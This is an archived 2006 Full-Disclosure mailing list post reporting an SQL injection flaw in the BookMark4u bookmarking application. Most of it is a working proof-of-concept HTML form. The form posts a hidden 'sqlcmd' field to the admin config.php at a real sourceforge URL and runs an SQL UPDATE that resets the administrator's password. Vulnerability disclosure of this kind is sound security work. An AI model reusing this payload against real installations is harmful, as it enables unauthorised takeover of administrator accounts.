full-disclosure - Sql Injection in BookMark4u

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Thu Apr 20 17:46:50 2006
From: mohajali2k4 at gmail.com (M.o.H.a.J.a.L.i)
Subject: Sql Injection in BookMark4u

site:
http://bookmark4u.sourceforge.net/

Hello i found a vulnerability in bookmark4u that u can use to make sql
injections...

the following PoC changes the admin password:
[code]

<form action='http://bookmark4u.sourceforge.net/v2.0.0/admin/config.php'
method='post'>
  <tr><td align='center'>
  <input type='hidden' name='sqlcmd' value="# add a administrator
(initial password
is 'test') %NL%UPDATE bk4u_passwd SET  passwd=PASSWORD('asdfg') WHERE
user='admin';">
  <input type='hidden' name='mode' value='sqlexec'>
  <input type='submit' value="Execute Above (administrator's account)">
  </td></tr>
  </form></table>
<br><a href='javascript:document.location.reload();'>And Reload this
page</a>.</body></html>
[/code]

MoHaJaLi
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20060420/acf3902b/attachment.html